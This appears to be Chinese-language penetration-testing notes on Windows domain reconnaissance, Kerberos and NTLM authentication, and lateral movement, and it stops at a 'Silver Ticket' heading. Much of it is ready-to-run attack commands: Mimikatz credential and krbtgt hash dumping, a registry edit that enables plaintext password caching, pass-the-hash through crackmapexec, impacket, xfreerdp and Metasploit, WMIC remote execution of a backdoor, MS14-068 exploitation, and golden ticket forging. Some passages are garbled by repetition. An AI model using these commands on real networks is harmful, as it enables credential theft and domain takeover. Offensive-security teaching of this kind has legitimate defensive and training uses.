收集域内信息命令
shell
查询域 net view /domain 查询当前的与名称
查询域内所有的计算机 net view /domain: 域名
查询域内所有的用户组列表 net group /domain
查询所有域成员计算机列表 net group "domain computers" /domain
获取域密码信息 net accounts /domain
获取域信任信息 nltest /domain_trusts
查询域控制器的机器名 nltest /DCLIST:hacke 获取hacke域中的域控制器列表
将与用户添加到本机: net localgroup administrators workgroup\user001 /add
判断主域 net time /domain
建立空连接 net use \ip\ipc$ password \user:username ---- 建立IPC会话(空连接)
查看域控制器的主机名 Nslookup -type=SRV _1dap._tcp
查看域内的当前时间 net time /domain
查询域控制器组 net group "Domain Controllers" /domain
查询域的主控制器名称 netdom query pdc
收集域内的用户和管理员信息
查询所有域用户列表
shell
向域控制器进行查询 net user /domain
获取域内用户的详细信息(包括用户名、描述信息、SID、域名、状态等) wmic useraccount get /all
查看存在的用户 dsquery user
常用的dsquery命令:
dsquery computer --查找目录中的计算机
dsquery contact --查找目录中的联系人
dsquery subnet --查找目录中的子网
dsquery group --查找目录中的组
dsquery ou --查找目录中的组织单元
dsquery site --查找目录中的站点
dsquery server --查找目录中的AD DC/LDS 实例
dsquery user --查找目录中的用户
dsquery quota --查找目录中的配额规定
dsquery partition --查找目录中的分区
diquery * - --用通用的LDAP查询来查找目录中的任何对象。
查询本地管理员组用户:
shell
net localgroup administrators 可以看到本地管理员组内的用户 -
查询域管理员用户组:
shell
net group "domain admins" /domain 查询域管理员用户
net group "Enterprise Admins" /domain 可以查看当前域的管理员是谁
windows域环境身份认证与攻击思路
在存在域环境的系统中,windows用户登录到域中的时候,身份验证室友kerberos协议在域控制器上进行的,而登录到次计算机则是通过SAM(本地安全账户数据库)来进行NTLM验证的,kerberos协议在内网渗透领域中至关重要,白银票据,黄金票据,攻击域控等都离不开kerberors协议。
- kerberors协议
是一种由MIT提出的一种网络身份验证协议,它旨在通过使用加密技术为客户端\服务器端应用程序提供强大的认证服务器。
kerberos协议主要适用于此计算机网络的身份鉴别,其特点是用户只需要输入一次身份认证信息就可以凭借着此验证获得的票据访问多个服务,级sso单点登陆,在kerberos认证中,最大的问题是如何真名[你是你]的问题,当一个client去访问server服务器上的某服务的时候,server如何判断client是否拥有权限来访问自己主机上的服务,同时保证在这个过程中的通讯内容即使被拦截或者篡改也不影响通讯的安全性,这正是kerberos解决的问题
对于kerberors协议,这里有2个重要的概念:
shell
1.长期密钥:在安全领域中,有的密钥可能长期内保持不变,比如密码,可能几年都不曾改变。这样的密钥以及由此派生的其他的密钥被称为长期密钥,长期密钥有这样的原则,被长期密钥加密的数据不应该在网络上传输,因为任何加密的算法都不可能做到绝对的保密,一旦这些呗长期密钥加密的数据包被黑客截获,在理论上,只要有充足的时间,都可以通过计算获得用户用于加密的密钥的。对于一个账户来说,密码仅限于该账户的所有者知晓,甚至对于管理员都应该是保密的,但是密码却又是证明身份的凭据,所以必须通过基于密码的派生信息来证明用户的真实身份,在这总情况下,一般将账户密码进行hash运算得到一个hash值,也称之为主密钥。由于hash算法是不可逆的,同时可以保证密码和主密钥派生的确定性,这样既保证了密码的保密性,同时又保证主密钥和密码本身在证明用户身份的时候具有同等的效力。
2.短期密钥:由于被长期密钥加密的数据包不能在网络上传送,所以需要使用另一种密钥来加密需要进行网络传输的数据,这种密钥只是在一段时间内有效,即使加密过的数据宝被黑客截获,等他吧密钥计算出来的时候,这个密钥早就已经过期了,我们把这种密钥称之为短期密钥。
3.kerberos协议认证过程实际上就是网络身份认证中使用了短期密钥来替代长期密钥(用户的账户密码),从而规避传输用户密码导致存在敏感信息被窃取的风险。
域环境中的一些相关术语:
- DC(域控制器)一台计算机,实现用户、计算机的统一管理
- KDC(密钥分发中心)在域环境中,kdc服务默认安装在域控中,包括AS和TGS
- AD(活动目录)用于存储用户,用户组,域相关的信息
- AS(身份验证服务)用于KDC对CLient认证
- TGT(票据授权票据)有KDC的AS发放,客户端获取到该票据后,以后申请其他应用的服务区票据(ST)的时候,就不需要向KDC的AS提交身份认证信息(credential),TGT具有一定的有效期。
- TGS(票据授权服务)用于KDC向Client和Server分发Session Key(临时密钥)
- ST(服务票据)有KDC的TGS发放,是客户端应用程序访问Server某个服务的凭证,由Server端验证通过则完成Client与Server端信任关系的建立。
- Authenticator(验证器),不能重复使用,与票据(时效内重复使用)结合来证明Client声明的身份,防止票据被占用
描述以上术语的关系
- 首先Client想要访问server的某个服务,就需要通过KDC的认证,获取到服务票据(ST),服务器会验证服务票据(ST)来判断Client是否通过了KDC认证。
- 为了避免Client每次访问server的服务都要向KDC认证(输入密码),KDC设计时分成了2个部分,一个是AS,另一个是TGS,AS接受client的认证信息,认证通过后给Client分发一个可以重复使用的TGT,后续Client使用者TGT向TGS请求ST即可。
对这些术语进行深入的探讨
- 第一步-AS认证获取TGT
客户端请求:
client向KDC的AS发起认证请求,身份认证信息包含两个部分:
- 第一部分:用户密码hash(user_hash)加密的timestamp预认证信息pre0--authentication data;
- 第二部分:用户名(user)、客户端信息(Clien info)、服务名(krgtgt)等未加密信息。
服务端响应:
服务端生成并且返回两部分信息:
- 第一部分;生成session key,与空中存储了域中所有的用户密码hash(user_hash),KDC的AS依据用户名查找相应的user_hash,成功的解析预认证信息,验证客户端通过,然后会生成一个session key-TGS(由AS会用user_hash加密session key形成,后续用于加密Client与TGS通信);
- 第二部分:生成票据授权票据TGT,TGT是由krbtgt hash加密的session key-TGS、user、client info、lifetime、timestamp等信息组成。
- 第二部-TGS认证获取ST
通过第一步,客户端解密AS的响应后,可以得到一个session key-TGS以及TGT。
客户端请求:
接下来用户想要访问Aservice服务,于是向TGS请求访问aservice的ST。首先客户端会生成验证器Authenticator,内容包含user,client info,lifetime、timestamp信息,并且用sessionkey-TGS加密。客户端将验证器、Aservice信息、TGT发送给TGS请求获取ST。
服务端响应:
TGS收到客户端请求,会先利用krbtgt hash解密TGT,获取sessionkey-TGS,user、client info等信息,然后利用sessionkey-TGS解密验证器,校验验证器和TGT中的user信息,如果一致,则说明该请求符合TGT中声明的用户,该用户是通过AS认证的。接着TGS会生成session key 以及ST:
- TGS会为用户user和服务Aservice之间添加生成新的会话密钥sessionkey-Aservice,并且用sessionkey-TGS加密sessionkey-Aservie;
- TGS会生成一个ST,内容包含user、client info、litetime、timestamp、sessionkey-Aservice,ST用Aservice的service_hash加密。
最后TGS将sessionkey-TGS加密后的sessionkey-Aservice以及service_hash加密的ST响应给客户端。[注意]验证器authenticator只能使用一次,为了防止TGT呗冒用。kerberos设计之初,产生票据的概念是为了避免重复的常规密码验证,因为票据在有效期内可以重复的使用。为了避免冒用,设计出session key 以及Authenticator。session key只有真正的客户端、服务知道,利用session
key 加密验证器,服务就可以解密对比验证器以及票据中声明的用户、客户端信息是否一致,一直说明票据来自可信客户端。
- 服务端服务认证
通过第二部,client获取到sessionkey-Aservice以及ST,接下来client利用sessionkey-Aservice加密authenticator,连同ST去请求server的 aservice,aservice利用自己的service_hash解密ST,获取sessionkey-Aservice,再解密Authenticator验证client生命的user信息,通过认证后,aservice还需要用sessionkey-Aservice加密一段信息返回给Client,Client利用sessionkey-Aservice解密成功说明Aservice用自己service_hash成功的解密出了sessionkey-Aservice,是可信服务端。
NTLM认证:
NTLM认证才用质询\应答(challenge\response)的信息交换模式。NTLM既可以用于域环境下的身份认证,也可以用于没有域的工作组环境,主要有本地认证和网络认证两种方式。
本地认证模式:
用户登录windows时,windows首先会待用winlogon.exe进程接收用户输入的密码,之后密码会被传递给lsass.exe进程,进程会先在内存中存储一份明文密码,并且将密码加密为NTLM hash,域本地的sam数据库中的用户的NTLM hash做对比,一致则登陆成功。
网络认证模式:
第一步:首先用户输入正确的用户密码登录到客户端主机,用户想要访问某个服务器的服务,客户端先发送一个包含用户明文的数据包给服务器,发起认证请求。
第二步:服务器生成一个随机数,成为Challenge,返回给客户端。
第三步:客户端接受到Challenge后,用密码hash加密,生成Response, 发送给服务器。
第四步:服务将Response、用户名、Challenge发送给域控验证,域控使用本地数据库(NTDS.dit)中保存的对应用户的NTLM hash 对Challenge进行加密,得到的结果域Response进行对比,一致则认证成功。然后将认证的结果返回给服务端。
内网横向渗透
以kerberos认证为代表的windows身份认证系统并不是天衣无缝的,这其中也会有各种漏洞被我们利用,例如ms14-068、黄金票据,白银票据等都是基于kerberos协议的。那么这些是如何利用安全问题来进行横向渗透的呢?
哈希凭证窃取
windows系统下的用户密码hash通常指的是Security account Manager中保存的用户密码Hash,也就是SAM文件中的HAsh。而在windows域环境中,用户信息存储在ntds.dit中,加密后为散列值。
windows操作系统中的密码一般由2部分组成,一部分为LM Hash,另一部分为NTLM Hash。
- LM Hash的全名为"Lan Manager Hash",是早期微软为了提高Windows操作系统的安全性而采用的散列值加密算法,其本质就是DES加密。尽管LM Hansh比较容易破解,但是为了保证系统的兼容性,windows只是将LM Hash禁用了。如果LM Hash被禁用了,攻击者通过工具抓取的LM Hash值通常是"aad3b435b51404eeaad3b435b51404ee"(表示LM Hash的值为空或者被禁用)
- NTLM Hash 是微软为了提高安全性的同时保证兼容性而设计的散列加密算法。NTLM Hash是基于MD4加密算法进行加密的。
要想在windows操作系统中抓取散列值或明文密码,必须将权限升级至System.窃取凭据来帮助在域内横向移动,一旦获取的密码在内网中是通用的,将会方便横向移动获取目标权限。
Mimikatz工具
Mimikatz是一款Windows平台下的神器,它具有很多功能,其中最亮眼的功能是直接从lsass.exe进程获取windows处于active状态账号的明文密码。
作为一个后渗透利用工具常常被渗透测试人员用来冲内存中获取
- 明文密码
- 密码 hash
- Kerberos ticket(Kerberos 票据)
shell
[Mimikatz读取明文密码的原理]在windows中,当用户登录的时候,lsass.exe使用一个可逆的算法加密明文,并会将密文保存在内存中,Mimikatz就是通过抓取内存去还原明文
shell
Mimikatz读取明文密码和hash需要管理员权限,需要执行的命令是:
privilege::debug //提升至debug权限
sekurlsa::logonpasswords //抓取密码
合起来写(交互式的)
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > test.log #这条命令讲收集到的密码铭文放到
当目标为Win10或者2012R2以上的时候,默认在内存缓存中禁止保存明文密码,但是可以通过修改注册表的方式抓取明文。CMD修改注册表命令
shell
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
哈希窃取的场景
分析如下这几种不通场景中的读取(窃取)windows系统用户密码的hash值
- 从内存中直接dump出hash
shell
#在cmd中运行mimikatz.exe
#在mimikatz.exe中执行
privilege::debug
sekurlsa::logonpasswords #可以读取出用户的密码哈希值和明文:
- 从内存中读取 LSA 的值
shell
mimikatz # lsadump::lsa /patch
- 从SAM中读取hash
shell
reg save hklm\sam sam
reg save hklm\system system
mimikatz # lsadump::sam /sam:sam /system:system
- 从域控中的NTDS.dit读取hash
读取testdomain\test1账户的密码Aa123456的hash。域中先利用nedsutil导出NTDS.dit,SYSTEM和SECURITY文件。
内网远程连接
在渗透测试中,拿到目标主机的明文密码或者NTLM hash后,可以用windows自带的方法对远程目标系统进行命令如下的连接操作,连接远程主机并执行相关的命令;也可以通过哈希传递攻击PTH的方法,将散列值或者明文密码传递到目标机器中进行验证。
使用xfeedrp工具连接RDP
- kali linux中的工具,rdesktop之后的另外一款RDP工具
shell
dpkg -l | grep -i rdp #使用命令查看是否安装,若果有
ii freerdp2-x11 2.11.5+dfsg1-1 arm64 RDP client for Windows Terminal Services (X11 client)
- 当我们没有内网主机用户的密码但是哈希的时候使用 pth 传递,然后连接 RDP
shell
xfreerdp /u:administrator /d:test /pth:00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63 /v:10.10.10.10 /sec:rdp --cert-ignore
#/d指定域名
#/pth 中是LM哈希:NTLM哈希
#/sec使用的是RDP服务
#/cert-ignore忽略证书的校验
如果目标主机不出亡,这里需要使用 proxychains 搭建 socks 隧道
这里使用哈希传递的选项/pth
tips
但是这里可能会报错: /pth:password-hash,/pass-the-hash:password-hash Pass the hash(restricted admin mode)
阻止这种攻击的一个障碍是受限制的管理员模式,默认情况下,受限制的管理员模式(restricted admin mode) 是处于急用状态的,会阻止我们使用 NTLM 哈希来登陆的
可以通过修改注册表来添加启用此功能
使用 crackmapexec 来修改注册表
shell
crackmapexec smb 192.168.0.1 -u "username" -H "NT_HASH" -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
CrackMapExec工具
crackmapexec 是一款强大的内网渗透测试神器,可以对整个网络扫描,并且在每一台机器上尝试使用凭据(铭文密码和 HASH 密码),就使用 CrackMapExec 工具
当目标太多,密码太多,账号太多,协议太多的时候可以使用crackmapexec工具来进行密码喷洒
- 主要参数
shell
-u 用户名
-p 密码
-h 哈希值
-d 指定域
-x 执行命令
- 主要用法:
shell
proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c
proxychains4 crackmapexec smb 192.168.3.21-32 -u administrator -H 518b98ad4178a53695dc997aa02d455c #这个默认是使用域用户登陆
proxychains4 crackmapexec smb 192.168.3.21-32 -u administrator -H 518b98ad4178a53695dc997aa02d455c --local-auth #这个参数之后就是本地登陆
proxychains4 crackmapexec smb 192.168.3.21-32 -u administrator -H 518b98ad4178a53695dc997aa02d455c --local-auth -x "ipconfig" #本地登陆并且执行命令
proxychains4 crackmapexec smb 192.168.3.21-32 -u ~/name.txt -H ~/ntlmhash.txt
smbclient 连接
smbclient 是 Linux 系统中用于连接和管理 SMB/CIFS 协议共享资源的命令行工具,支持访问 Windows 共享文件夹、打印机等资源。
- 适用于知道用户名账号密码的情况
shell
1.查看共享资源
smbclient -L <IP地址> -U <用户名%密码>
2. 连接共享文件夹
smbclient //<IP地址>/<共享名> -U <用户名%密码>
shell
smbclient -L 192.168.0.1 -U admin%password # 列出目标 IP 的共享文件夹
smbclient //192.168.0.1/shared -U user%pass # 进入交互式命令行
smbclien //192.168.0.1/c$ -U administrator%密码 #访问共享的c盘
在linux主机中使用这个则需要多加入两个//
smbclient -L 192.168.0.1 -U admin%password # 列出目标 IP 的共享文件夹
smbclient ////192.168.0.1/shared -U user%pass # 进入交互式命令行
smbclien ////192.168.0.1//c$ -U administrator%密码 #访问共享的c盘
- 交互式命令
shell
ls
cd
lcd
get
put
mget/mput
mkdir
rm
exit
使用交互式命令传输
shell
put /root/mimikatz.exe mimikate.exe #需要写上传上去之后的文件名称
mget *.txt 下载所有文本文件
建立IPC连接
IPC ( I n t e r n e t P r o c e s s C o n n e c t i o n ) 是 N T 2000 的一项新的功能, I P C 可以通过验证用户名和密码获取相应的权限,通常在远程管理计算机和查看计算机的共享资源的时候使用。通过 I P C (Internet Process Connection)是NT2000的一项新的功能,IPC可以通过验证用户名和密码获取相应的权限,通常在远程管理计算机和查看计算机的共享资源的时候使用。通过IPC (InternetProcessConnection)是NT2000的一项新的功能,IPC可以通过验证用户名和密码获取相应的权限,通常在远程管理计算机和查看计算机的共享资源的时候使用。通过IPC,可以与目标主机建立连接,利用这个连接,不仅可以访问目标机器中的文件,进行上传,下载等操作。还可以在目标机器上运行其他命令,以获取目标机器的目录结构,用户列表信息。
建立IPC$连接的2个条件:
- 目标主机开启了139和445端口
- 目标主机管理员开启了ipc$默认共享。
IPC$连接的命令:
shell
net use \\域控的ip\ipc$ "密码" /user:"用户名"
net use \\192.168.183.130\ipc$ "Liu78963" /user:"administrator"
net user //查看当前主机所建立的连接
dir \\域控ip\c$
PsExec连接
PsExec是一个轻量级的telnet替代品,它允许在其他系统上执行进程,并未控制台应用程序提供完整的交互性,他是windows下非常好的一款远程命令行工具,其使用不需要对方主机开启3389端口,只需要对方开启admin$共享(该共享默认是开启的),但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径,由于psexec是windows提供的工具,所以杀毒软件将其列在白名单中。
psexec的基本原理:
- 通过ipc$连接,释放二进制文件psexecsvc.exe到目标
- 通过服务管理SCManager远程建立一个psexec服务,并且启动服务
- 客户端连接执行命令,客户端通过服务启动相应的执行命令并且回显数据;
- 运行结束后删除服务
psexec的使用前提:
- 对方主机开启了admin 共享,如果关闭了 a d m i n 共享,如果关闭了admin 共享,如果关闭了admin共享,会提示找不到网络名;
- 对方主机未开启防火墙;
- 如果是工作组环境,则必须使用administrator用户连接(因为要在目标机器上面创建并且启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示拒绝访问;
- 如果是域环境,即可用普通用户连接也可以用域管理员用户连接,连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
通过以下命令可以返回一个交互的shell
shell
psexec.exe -accepteula \\ip地址 -u 用户名 -p 密码 -s cmd.exe
-accepteula 第一次运行psexec会出确认框,使用改参数就不回弹出确认框
-u/-p 显然,用户名/密码
-s 以SYSTEM权限运行进程,获得一个system权限的交互式shell,如果不使用改参数,会获得一个连接所用用户权限的shell
执行完这个命令我们就可以获得一个system权限的shell,这里如果我们提前域目标机器建立基于administrator用户的IPC了解,那么我们可以不用制定用户名和密码,直接执行命令psexec.exe -acceptula \ip cmd.exe连接即可,同时不仅可以使用psexec得到目标主机的shell,也可以直接执行命令
注意\]但是在使用psexec执行远程命令的时候,会在目标系统中传建一个psexec服务,命令执行后,psexec服务将会被自动删除,由于创建或者删除服务的时候会产生大量的日志,所以会在攻击溯源的时候通过日志反推攻击流程。 #### **WMI远程连接** WMI(windows Management Instrumentation,windows管理规范)是一项核心的windows管理技术,用户可以使用WMI管理本地和远程计算机,windows系统都支持WMI。WMI通过使用端口135上的远程过程调用(RPC)进行通信以进行远程访问(以及以后的临时端口),它允许系统管理员远程执行自动化管理任务,例如远程启动服务或者执行命令。因此使用WMIC连接远程主机,需要目标主机开放135和445端口(135端口是WMIC默认的管理端口,而wmicexec使用445端口传回显。) * 可以使用命令行工具wmic与wmi 交互 1. 使用WMIC可以开启远程计算机的远程桌面连接 ```shell wmic /node:远程主机ip /USER:用户名 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 wmic /node:"[full machine name]" /USER:"[domain]\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 ``` 2. 使用WMIC命令可以查询远程进程信息 ```shell wmic /node:远程主机ip /user:用户名 /password:密码 process list brief ``` 3. 使用WMIC命令可以远程创建进程 例如:以administrator 用户连接(DC),并在机器上创建一个进程执行ipconfig 命令,将结果写入C:\\result.txt文本文件中(由于wmic执行远程命令没有回显,所以要将结果写入到txt中) ```shell wmic /node:远程主机ip /user:用户名 /password:密码 process call create "cmd.exe /c ipconfig > C:\result.txt" wmic /node:远程主机ip /user:用户名 /password:密码 process call create "cmd.exe /c <命令> > C:\result.txt" wmic /node:远程主机ip /user:用户名 /password:密码 process call create "目录\backdoor.exe" ``` 4. 在 widnows 中可以使用 wmi 命令管理 * 在 windows cmd 终端中进行操作 ```shell wmic useraccount get name,sid #查询用户名以及用户SID wmic useraccount list #列出用户的全部信息 wmic useraccount list brief #列出用户信息的详细的全部信息 wmic service list #列出服务的信息 wmic service get name,pathname #列出服务的名称和路径 wmic path Win32_Service #显示服务的程序路径 wmic /node:drake process list brief #查看进程 ``` 5. 在linux中与WMI交互 * 两个有用的脚本 1. 第一个脚本: > wmiquery.py 只要用户拥有域管理员凭据,他就可以连接到远程系统并且执行 WQL 查询 ```shell python3 /usr/share/doc/python3-impacket/examples/wmiquery.py administrator@10.10.10.10 #使用这个语句就可以直接查询10.10.10.10中的 WQL>SELECT * FROM XXXXXX #这里面的语法和sql语句很相似 #如果是内网主机,这需要使用proxychains搭建socks代理 ``` 2. 第二个脚本: > wmiexec.py 它允许用户连接到远程系统并且获取shell ```shell python3 /usr/share/doc/python3-impacket/examples/wmiexec.py 'administrator:123456@10.10.10.10' #''里面的内容是用户名:密码@远程主机ip地址,这样的话直接就可以登陆到远程主机,并且打开一个shell ``` ### **哈希传递攻击** > 在kerberos、NTLM认证过程的关键,首席那就是基于用户密码Hash的加密,所以域渗透的过程中,无法破解用户密码hash的情况下,也可以直接用hash来完成认证,达到供给的目的,这就是hash传递攻击(Pass The Hash,简称PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过PTH远程登陆到任意一台主机,操作简单,威力无穷。 #### **域环境哈希传递方式:** 1. 获得一台域主机的权限,Dump内存获得该主机的用户密码Hash值; 2. 通过哈希传递攻击尝试登陆其他主机; 3. 继续搜索Hash并且尝试远程登陆,知道获得域管理员账户Hash,登陆域控,最终成功控制整个域。 #### 使用 CrackMapExec进行PTH ```shell crackmapexec smb 10.10.10.0/24 -d test -u administrator -H '4d6e43b2cdc951808100f5b1d09aac63' #使用这个就可以直接对内网进行PTH #其中-H制定的是NTLM哈希值 #登陆成功以后会出现一个(Pwn3d!) #-d 指定主机名或者域名 ``` #### **使用Mimikatze进行PTH** 1. 首先攻击者在跳板机Windows7上面上传mimikatz,并且用mimikatz抓取hash ```shell privilege::debug sekurlsa::logonpasswords ```  2. 成功得到NTLM Hash:4d6e43b2cdc951808100f5b1d09aac63,然后再windows7上继续使用mimikatz将获取的Administrator的Hash添加进lsass中: ```shell privilege::debug #sekurlsa是一个模块 sekurlsa::pth /user:administrator /domain:workgroup /ntlm:4d6e43b2cdc951808100f5b1d09aac63 /run:cmd sekurlsa::pth /user:用户名 /domain:域名 /ntlm:域控制器的NTLM哈希值 /run:cmd #启动一个cmd会哈终端,这个操作可以省略 ``` 3. 执行成功以后,此时会自动弹出一个新的shell,这时访问远程主机或者服务,就不用提供明文密码了,这接就可以去查看目录(但是得使用主机名,不能使用ip)  之后攻击者就可以以使用windows7跳板机任意的访问内网其他机器中的文件,进行上传,下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。 #### 使用metasploit进行PTH 1. 在metasploit中使用的模块有 ```shell auxiliary/admin/smb/psexec_command //在目标机器上执行系统命令 exploit/windows/smb/psexec //用psexec执行系统命令 exploit/windows/smb/psexec_psh //使用powershell作为payload ``` 2. 以exploit/windows/smb/psexec模块哈希传递攻击 Windows Server 2003 为例(设置smbuser、smbpass、smbdomain): * 前提是目标防火墙是在关闭状态 ```shell use exploit/windows/smb/psexec set rhosts ip地址 set smbuser 用户名 set smbpass 00000000000000000000000000000000(LM哈希,因为不知道,所以用0替代):4d6e43b2cdc951808100f5b1d09aac63(NTML哈希) set smbdomain god run ``` > 这里的 smbpass 可以使用哈希的,如果使用哈希的格式如下: * LM:NTLM * 00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63 #### 使用pth-winexec 进行PTH(kali linux自带工具) > 用法: > > winexe \[OPTION\]... //HOST\[:PORT\] COMMAND > > pth-winexe -U \<用户%哈希\> //\<目标IP\> \<命令\> \[参数
shell
pth-winexe -U 域名/administrator%00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63 //10.10.10.10 cmd
winexe -U 域名/administrator%00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63 //10.10.10.10 cmd
- 这里需要使用 lm 哈希和 NTLM 哈希 ,格式为 lm:NTLM
使用Impacket进行PTH攻击
Impacket是Python的集合
使用密码/哈希/票证/密钥进行普通、NTLM和Kerberos身份验证。
- kali linux 自带impcaket套件
/usr/share/doc/python3-impacket/examples 这个路径下是存在的 python脚本
shell
┌──(han㉿Kali)-[/usr/share/doc/python3-impacket/examples]
└─$ ls -liah /usr/bin/impacket-*
310238 lrwxrwxrwx 1 root root 24 2024年 9月30日 /usr/bin/impacket-addcomputer -> ../share/impacket/script
310242 lrwxrwxrwx 1 root root 24 2024年 9月30日 /usr/bin/impacket-atexec -> ../share/impacket/script
310244 lrwxrwxrwx 1 root root 24 2024年 9月30日 /usr/bin/impacket-changepasswd -> ../share/impacket/script
- 默认使用软连接指向了/usr/share/impacket/script 脚本
- kali 中可以直接使用
- 方法 1
shell
impacket-psexec administrator@10.10.10.10 -hashes 00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63
#使用套件加上 LM哈希和NTLM哈希 执行即可
- 方法 2
使用/usr/share/doc/python3-impacket/examples 中的脚本
shell
python /usr/share/doc/python3-impacket/examples/psexec.py administrator@10.10.10.10 -hashes 00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63
#这里使用python直接调用即可
- 注意:
- 如果是内网环境,需要使用 proxychains 加入 socks 代理才能进行 pth 哈希传递
票据传递攻击
哈希传递攻击PTH是适用于NTLM认证和kerberos协议认证的,而票据传递攻击PTT是基于kerberos协议进行攻击的
我们使用哈希传递的时候是必须要获取目标机器的管理员权限,如果我们没有获取到管理员权限,我们可以使用PTT,票据攻击,而我们通常使用的票据攻击有MS14-068、黄金票据、白银票据,其中MS14-068可以用来横向获取域内的主机权限,黄金票据,白银票据则可以用来对域控进行权限维持。
MS14-068
MS14-068漏洞允许攻击者将未授权的域用户账户的权限,提升到域管理员郑虎的权限,攻击者必须有有效的域凭据才能利用此漏洞,拥有域凭据的标准用户账户可以远程使用受影响的组件,只有本地账户凭据的用户则不能
漏洞利用原理:
通过身份认证的域用户可以向kerberos KDC发出伪造的kerberos票证,声称该用户就是域管理员。kerberos KDC在处理来自攻击者的请求的时候,会不恰当地验证伪造的票证签名,从而让攻击者能利用域管理员的身份来访问网络上的任何资源。
漏洞利用的前提:
- 域控主机没有打MS14-068的补丁(KB3011780);
- 攻击者拿下了一台域内的普通计算机,并且获得普通域用户以及密码/Hash值,以及用户的SUID
漏洞复现演示
shell
域控制器(DC) windows 2008 R2 st13.com 192.168.10.146
域内机器 windows 7 192.168.10.129
Ms14-068.exe 下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
PSexec下载地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
- 首先在域控主机检测是否有MS14-068这个漏洞,通过执行systeminfo命令来查看是否打补丁(KB3011780)来判断是否存在漏洞

- 在win7上面测试该漏洞,Win7用普通用户登陆,测试访问域控的C盘共享,访问被拒绝:

- 为了是我们生成的票据起作用,首先我们需要将内存中的kerberos票据清楚,清除方式使用mimikatz工具:
shell
kerberos::list
kerberos::purge
kerberos::list

- 使用whoami /all查看本机用户的ID:

- 利用ms14-068.exe提权工具生成伪造的kerberos协议认证书
shell
MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>
- 利用mimikatz.exe将证书写入,从而提升为域管理员
shell
kerberos::purge
kerberos::list
kerberos::ptc C:\Users\cui22\Desktop\TGT_cui22@st13.com.ccache

- 再次列出域控的目录,成功访问域控的目录,说明普通用户提权成功

- 使用PSTools目录下的Psexec.exe获取shell,#psexec.exe以管理员权限运行连接域控
shell
psexec.exe \\win2008.st13.com -s cmd.exe

成功将域控拿下!
黄金票据
在windows的kerberos认证的过程中,CLient将自己得信息发送给KDC,然后KDC使用krbtgt用户的NTLM-Hash作为密钥进行加密。生成TGT。那么如果获取了Krbtgt的NTLM-Hash值,不就可以为伪造任意的TGT了?所以Krbygt用户Hash生成的票据称之为黄金票据,此类攻击方式称之为票据传递攻击。
因为krbygt只有域控制器上才有,所以使用黄金票据意味着你之前拿到过域控制器的权限,黄金票据可以理解为一个后门。假设这么一种情况,原先已拿到的域内所有的账户 Hash,包括 Krbtgt 这个账户,由于有些原因导致你对域管权限丢失,但是好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置 Krbtgt 密码.
基于此条件,我们可以利用该票据重新获得域管理员权限。利用 Krbtgt 的 Hash 值可以伪造生成任意的TGT,能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos 认证的任何服务。
黄金票据能够绕过认证授权(Authentication and Authorization)机制并且获得所需要的维持的票据
攻击者再次使用黄金票据的传递攻击的时候,需要掌握以下信息:
- 需要伪造的域管理员用户名,可以是任意的用户甚至不存在;
- 完整的域名
- 域SID
- krbtgt的NTLM Hash
演示:
shell
域成员主机:Windows 7(192.168.183.131)
域名:DEMO.com
用户名:douser
域控制器:192.168.183.130
域名:DEMO.com
用户名:administrator
- 首先登陆域控,上传mimikatz,然后执行如下命令抓取krbtgt用户的Hash值并且获取域SID:
shell
privilege::debug
lsadump::lsa /patch
lsadump::lsa /inject /name:krbtgt #只获取krgtgt用户的hash 以及域的SID账号
结果(得到 krbtgt 用户的 Hash 为:7c4ed692473d4b4344c3ba01c5e6cb63,域sid 为S-1-5-21-979886063-1111900045-1414766810)

- 然后我们切换到普通域用户的机器Windows7,用mimikatz生成名为ticker.kirbi的TGT凭证,用户名为administrator:
shell
kerberos::golden /user:administrator /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810 /krbtgt:7c4ed692473d4b4344c3ba01c5e6cb63 /ticket:ticket.kirbi
kerberos::golden /user:需要伪造的域管理员用户名 /domain:域名 /sid:域sid /krbtgt: krbtgt账户NTLM哈希 /ticket:票据的名称(需要以.kirbi结尾)

- 生成TGT凭证ticker.kirbi成功,名为ticker.kirbi,然后使用mimikatz将凭证ticker.kirbi注入进去
- 使用ptt攻击来进行
shell
kerberos::ptt ticket.kirbi
kerberos::ptt <票据名字>

- 此时使用命令kerberos::tgt查看当前绘画中的票据,就可以发现刚刚注入的票据在里面了

- 到此注入成功,输入exit可以退出mimikatz,此时攻击者就可以利用windows7任意访问域控,使用net use进行登陆

这里黄金票据就是可以当做一个在普通域成员机器上的连接到域控的后门。
- 在 mimikatz 中使用 klist 可以看到当前伪造的用户
白银票据
